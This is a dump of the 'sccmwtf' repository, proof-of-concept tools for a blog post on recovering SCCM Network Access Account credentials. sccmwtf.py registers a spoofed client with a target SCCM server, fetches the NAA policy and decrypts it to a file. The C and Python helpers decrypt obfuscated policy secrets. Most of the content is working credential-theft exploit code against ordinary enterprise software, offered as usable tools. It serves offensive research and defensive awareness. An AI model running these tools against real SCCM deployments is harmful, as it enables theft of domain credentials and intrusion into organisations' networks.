Repository: xpn/sccmwtf Branch: main Commit: 6d574ef455c0 Files: 6 Total size: 22.7 KB Directory structure: gitextract_wnuupl4v/ ├── .gitignore ├── README.md ├── policysecretunobfuscate.c ├── policysecretunobfuscate.py ├── requirements.txt └── sccmwtf.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ env # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class # C extensions *.so # Distribution / packaging .Python build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ wheels/ share/python-wheels/ *.egg-info/ .installed.cfg *.egg MANIFEST # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .nox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *.cover *.py,cover .hypothesis/ .pytest_cache/ cover/ # Translations *.mo *.pot # Django stuff: *.log local_settings.py db.sqlite3 db.sqlite3-journal # Flask stuff: instance/ .webassets-cache # Scrapy stuff: .scrapy # Sphinx documentation docs/_build/ # PyBuilder .pybuilder/ target/ # Jupyter Notebook .ipynb_checkpoints # IPython profile_default/ ipython_config.py # pyenv # For a library or package, you might want to ignore these files since the code is # intended to run in multiple environments; otherwise, check them in: # .python-version # pipenv # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. # However, in case of collaboration, if having platform-specific dependencies or dependencies # having no cross-platform support, pipenv may install dependencies that don't work, or not # install all needed dependencies. #Pipfile.lock # poetry # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. # This is especially recommended for binary packages to ensure reproducibility, and is more # commonly ignored for libraries. # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control #poetry.lock # pdm # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. #pdm.lock # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it # in version control. # https://pdm.fming.dev/#use-with-ide .pdm.toml # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm __pypackages__/ # Celery stuff celerybeat-schedule celerybeat.pid # SageMath parsed files *.sage.py # Environments .env .venv env/ venv/ ENV/ env.bak/ venv.bak/ # Spyder project settings .spyderproject .spyproject # Rope project settings .ropeproject # mkdocs documentation /site # mypy .mypy_cache/ .dmypy.json dmypy.json # Pyre type checker .pyre/ # pytype static type analyzer .pytype/ # Cython debug symbols cython_debug/ # PyCharm # JetBrains specific template is maintained in a separate JetBrains.gitignore that can # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore # and can be added to the global gitignore or merged into this file. For a more nuclear # option (not recommended) you can uncomment the following to ignore the entire idea folder. #.idea/ ================================================ FILE: README.md ================================================ ## SCCMwtf A couple of POC tools to support the blog post found [here](https://blog.xpnsec.com/unobfuscating-network-access-accounts/). Note: This code is designed for exploring SCCM in a lab... don't be runnin' this on a job! ## Video [![](https://res.cloudinary.com/xpnsec/image/upload/v1657400050/unobfuscating-network-access-accounts/youtube_zg4omj.png)](https://www.youtube.com/watch?v=oMy4nbmeQkw) ================================================ FILE: policysecretunobfuscate.c ================================================ #include #include #include // https://stackoverflow.com/questions/17261798/converting-a-hex-string-to-a-byte-array int char2int(char input) { if (input >= '0' && input <= '9') return input - '0'; if (input >= 'A' && input <= 'F') return input - 'A' + 10; if (input >= 'a' && input <= 'f') return input - 'a' + 10; throw std::invalid_argument("Invalid input string"); } void hex2bin(const char* src, char* target) { while (*src && src[1]) { *(target++) = char2int(*src) * 16 + char2int(src[1]); src += 2; } } int main(int argc, char **argv) { HCRYPTPROV prov, prov2; HCRYPTHASH hash; HCRYPTKEY cryptKey; BYTE buffer[1024]; if (argc != 2) { return 1; } char* input = argv[1]; if (input[0] != '8' || input[1] != '9') { return 1; } char* output = (char*)malloc(strlen(input) / 2); if (output == NULL) { return 1; } // Convert to bytes hex2bin(input, output); // Get data length DWORD len = *(DWORD*)(output + 52); if (len >= sizeof(buffer)) { return 2; } // Hash length memcpy(buffer, output + 64, len); // Do the "crypto" stuff CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); CryptCreateHash(prov, CALG_SHA1, 0, 0, &hash); CryptHashData(hash, (const BYTE*)output + 4, 0x28, 0); CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey); CryptDecrypt(cryptKey, 0, 1, 0, buffer, &len); // Output wprintf(L"%s\n", buffer); return 0; } ================================================ FILE: policysecretunobfuscate.py ================================================ # Python script which uses C and Windows API?!!! This cannot stand! # Tested with data taken from YT video, typed all manually... # 89130000703994099597edb7733621248D4f9d474995679d1b487564356e34e63fee0855f34044f494e49a7b140000002000000028000000036600000000000015893849fa928387d5c783fa23676ed8da6ab4275a31d653f3f5db6df860521b9b33ab0cf12669f1 from cryptography.hazmat.primitives import padding from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.ciphers import Cipher, modes # This is a hack to support both cryptography 48.0.0 and previous versions try: from cryptography.hazmat.decrepit.ciphers.algorithms import TripleDES except ImportError: from cryptography.hazmat.primitives.ciphers.algorithms import TripleDES def mscrypt_derive_key_sha1(secret:bytes): # Implementation of CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey); buf1 = bytearray([0x36] * 64) buf2 = bytearray([0x5C] * 64) digest = hashes.Hash(hashes.SHA1(), backend=default_backend()) digest.update(secret) hash_ = digest.finalize() for i in range(len(hash_)): buf1[i] ^= hash_[i] buf2[i] ^= hash_[i] digest1 = hashes.Hash(hashes.SHA1(), backend=default_backend()) digest1.update(buf1) hash1 = digest1.finalize() digest2 = hashes.Hash(hashes.SHA1(), backend=default_backend()) digest2.update(buf2) hash2 = digest2.finalize() derived_key = hash1 + hash2[:4] return derived_key def deobfuscate_policysecret(output:str or bytes): if isinstance(output, str): output = bytes.fromhex(output) data_length = int.from_bytes(output[52:56], 'little') buffer = output[64:64+data_length] key = mscrypt_derive_key_sha1(output[4:4+0x28]) iv = bytes([0] * 8) cipher = Cipher(TripleDES(key), modes.CBC(iv), backend=default_backend()) decryptor = cipher.decryptor() decrypted_data = decryptor.update(buffer) + decryptor.finalize() padder = padding.PKCS7(64).unpadder() # 64 is the block size in bits for DES3 decrypted_data = padder.update(decrypted_data) + padder.finalize() return decrypted_data def main(): import argparse parser = argparse.ArgumentParser(description='Deobfuscates the policy secret data') parser.add_argument('policydata', help='The output from the policy secret command') args = parser.parse_args() decrypted_data = deobfuscate_policysecret(args.policydata) try: decrypted_data = decrypted_data.decode('utf-16-le') except: decrypted_data = decrypted_data.hex() print(decrypted_data) if __name__ == '__main__': main() ================================================ FILE: requirements.txt ================================================ certifi==2022.6.15 cffi==1.15.1 charset-normalizer==2.1.0 cryptography==37.0.4 idna==3.3 ntlm-auth==1.5.0 pyasn1==0.4.8 pyasn1-modules==0.2.8 pycparser==2.21 requests==2.28.1 requests-ntlm==1.1.0 requests-toolbelt==0.9.1 urllib3==1.26.10 ================================================ FILE: sccmwtf.py ================================================ import datetime import zlib import requests import re import time import sys from pyasn1.codec.der.decoder import decode from pyasn1_modules import rfc5652 from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.serialization import PublicFormat from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.x509 import ObjectIdentifier from requests_toolbelt.multipart import decoder from requests_ntlm import HttpNtlmAuth # Who needs just 1 date format :/ dateFormat1 = "%Y-%m-%dT%H:%M:%SZ" dateFormat2 = "%Y%m%d%H%M%S.000000+000" dateFormat3 = "%m/%d/%Y %H:%M:%S" now = datetime.datetime.utcnow() # Huge thanks to @_Mayyhem with SharpSCCM for making requesting these easy! registrationRequestWrapper = "{data}{signature}\x00" registrationRequest = """{encryption}{signature}""" msgHeader = """{{00000000-0000-0000-0000-000000000000}}{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}0httpSyncdirect:{client}:SccmMessaging{date}{client}mp:MP_ClientRegistrationMP_ClientRegistration{sccmserver}60000""" msgHeaderPolicy = """{{00000000-0000-0000-0000-000000000000}}{client}{publickey}{clientIDsignature}{payloadsignature}NonSSL1.2.840.113549.1.1.11{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}0httpSyncdirect:{client}:SccmMessaging{date}GUID:{clientid}{client}mp:MP_PolicyManagerMP_PolicyManager{sccmserver}60000""" policyBody = """GUID:{clientid}{clientfqdn}{client}SMS:PRI""" reportBody = """01GUID:{clientid}5.00.8325.0000{client}8502057Inventory DataFull{date}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date}""" class Tools: @staticmethod def encode_unicode(input): # Remove the BOM return input.encode('utf-16')[2:] @staticmethod def write_to_file(input, file): with open(file, "w") as fd: fd.write(input) class CryptoTools: @staticmethod def createCertificateForKey(key, cname): subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COMMON_NAME, cname), ]) cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() - datetime.timedelta(days=2) ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=365) ).add_extension( x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False, key_agreement=False, content_commitment=False, data_encipherment=True, crl_sign=False, encipher_only=False, decipher_only=False), critical=False, ).add_extension( # SMS Signing Certificate (Self-Signed) x509.ExtendedKeyUsage([ObjectIdentifier("1.3.6.1.4.1.311.101.2"), ObjectIdentifier("1.3.6.1.4.1.311.101")]), critical=False, ).sign(key, hashes.SHA256()) return cert @staticmethod def generateRSAKey(): key = rsa.generate_private_key(public_exponent=65537, key_size=2048) return key @staticmethod def buildMSPublicKeyBlob(key): # Built from spec: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb blobHeader = b"\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31\x00\x08\x00\x00\x01\x00\x01\x00" blob = blobHeader + key.public_key().public_numbers().n.to_bytes(int(key.key_size / 8), byteorder="little") return blob.hex().upper() # Signs data using SHA256 and then reverses the byte order as per SCCM @staticmethod def sign(key, data): signature = key.sign(data, PKCS1v15(), hashes.SHA256()) signature_rev = bytearray(signature) signature_rev.reverse() return bytes(signature_rev) # Same for now, but hints in code that some sigs need to have the hash type removed @staticmethod def signNoHash(key, data): signature = key.sign(data, PKCS1v15(), hashes.SHA256()) signature_rev = bytearray(signature) signature_rev.reverse() return bytes(signature_rev) @staticmethod def decrypt(key, data): print(key.decrypt(data, PKCS1v15())) @staticmethod def decrypt3Des(key, encryptedKey, iv, data): desKey = key.decrypt(encryptedKey, PKCS1v15()) cipher = Cipher(algorithms.TripleDES(desKey), modes.CBC(iv)) decryptor = cipher.decryptor() return decryptor.update(data) + decryptor.finalize() class SCCMTools: def __init__(self, server): self._server = server self._serverURI = f"http://{server}" def sendCCMPostRequest(self, data, auth=False, username="", password=""): headers = { "Connection": "close", "User-Agent": "ConfigMgr Messaging HTTP Sender", "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\"" } if auth: r = requests.request("CCM_POST", f"{self._serverURI}/ccm_system_windowsauth/request", headers=headers, data=data, auth=HttpNtlmAuth(username, password)) else: r = requests.request("CCM_POST", f"{self._serverURI}/ccm_system/request", headers=headers, data=data) multipart_data = decoder.MultipartDecoder.from_response(r) for part in multipart_data.parts: if part.headers[b'content-type'] == b'application/octet-stream': return zlib.decompress(part.content).decode('utf-16') def requestPolicy(self, url, clientID="", authHeaders=False, retcontent=False): headers = { "Connection": "close", "User-Agent": "ConfigMgr Messaging HTTP Sender" } if authHeaders == True: headers["ClientToken"] = "GUID:{};{};2".format( clientID, now.strftime(dateFormat1) ) headers["ClientTokenSignature"] = CryptoTools.signNoHash(self.key, "GUID:{};{};2".format(clientID, now.strftime(dateFormat1)).encode('utf-16')[2:] + "\x00\x00".encode('ascii')).hex().upper() r = requests.get(f"{self._serverURI}"+url, headers=headers) if retcontent == True: return r.content else: return r.text def createCertificate(self, writeToTmp=False): self.key = CryptoTools.generateRSAKey() self.cert = CryptoTools.createCertificateForKey(self.key, u"ConfigMgr Client") if writeToTmp: with open("/tmp/key.pem", "wb") as f: f.write(self.key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.BestAvailableEncryption(b"mimikatz"), )) with open("/tmp/certificate.pem", "wb") as f: f.write(self.cert.public_bytes(serialization.Encoding.PEM)) def sendRegistration(self, name, fqname, username, password): b = self.cert.public_bytes(serialization.Encoding.DER).hex().upper() embedded = registrationRequest.format( date=now.strftime(dateFormat1), encryption=b, signature=b, client=name, clientfqdn=fqname ) signature = CryptoTools.sign(self.key, Tools.encode_unicode(embedded)).hex().upper() request = Tools.encode_unicode(registrationRequestWrapper.format(data=embedded, signature=signature)) + "\r\n".encode('ascii') header = msgHeader.format( bodylength=len(request)-2, client=name, date=now.strftime(dateFormat1), sccmserver=self._server ) data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + zlib.compress(request) + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') deflatedData = self.sendCCMPostRequest(data, True, username, password) r = re.findall("SMSID=\"GUID:([^\"]+)\"", deflatedData) if r != None: return r[0] return None def sendPolicyRequest(self, name, fqname, uuid, targetName, targetFQDN, targetUUID): body = Tools.encode_unicode(policyBody.format(clientid=targetUUID, clientfqdn=targetFQDN, client=targetName)) + b"\x00\x00\r\n" payloadCompressed = zlib.compress(body) bodyCompressed = zlib.compress(body) public_key = CryptoTools.buildMSPublicKeyBlob(self.key) clientID = f"GUID:{uuid.upper()}" clientIDSignature = CryptoTools.sign(self.key, Tools.encode_unicode(clientID) + "\x00\x00".encode('ascii')).hex().upper() payloadSignature = CryptoTools.sign(self.key, bodyCompressed).hex().upper() header = msgHeaderPolicy.format( bodylength=len(body)-2, sccmserver=self._server, client=name, publickey=public_key, clientIDsignature=clientIDSignature, payloadsignature=payloadSignature, clientid=uuid, date=now.strftime(dateFormat1) ) data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + bodyCompressed + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') deflatedData = self.sendCCMPostRequest(data) result = re.search("PolicyCategory=\"NAAConfig\".*?([^]]+)", deflatedData, re.DOTALL + re.MULTILINE) #r = re.findall("http://(/SMS_MP/.sms_pol?[^\]]+)", deflatedData) return [result.group(1)] def parseEncryptedPolicy(self, result): # Man.. asn1 suxx! content, rest = decode(result, asn1Spec=rfc5652.ContentInfo()) content, rest = decode(content.getComponentByName('content'), asn1Spec=rfc5652.EnvelopedData()) encryptedRSAKey = content['recipientInfos'][0]['ktri']['encryptedKey'].asOctets() iv = content['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters'].asOctets()[2:] body = content['encryptedContentInfo']['encryptedContent'].asOctets() decrypted = CryptoTools.decrypt3Des(self.key, encryptedRSAKey, iv, body) policy = decrypted.decode('utf-16') return policy if __name__ == "__main__": print("SCCMwtf... by @_xpn_") target_name = sys.argv[1] target_fqdn = sys.argv[2] target_sccm = sys.argv[3] target_username = sys.argv[4] target_password = sys.argv[5] print("[*] Args: ") print(f"[*] Spoof Name: {target_name}") print(f"[*] Spoof FQDN: {target_fqdn}") print(f"[*] Target SCCM: {target_sccm}") print(f"[*] Computer account username: {target_username}") print(f"[*] Computer account password: {target_password}") print("[*] Creating certificate for our fake server...") tools = SCCMTools(target_sccm) tools.createCertificate(True) print("[*] Registering our fake server...") uuid = tools.sendRegistration(target_name, target_fqdn, target_username, target_password) print(f"[*] Done.. our ID is {uuid}") # If too quick, SCCM requests fail (DB error, jank!) time.sleep(4) print("[*] Requesting NAAPolicy.. 2 secs") urls = tools.sendPolicyRequest(target_name, target_fqdn, uuid, target_name, target_fqdn, uuid) print("[*] Parsing for Secretz...") for url in urls: result = tools.requestPolicy(url) if result.startswith(""): result = tools.requestPolicy(url, uuid, True, True) decryptedResult = tools.parseEncryptedPolicy(result) Tools.write_to_file(decryptedResult, "/tmp/naapolicy.xml") print("[*] Done.. decrypted policy dumped to /tmp/naapolicy.xml")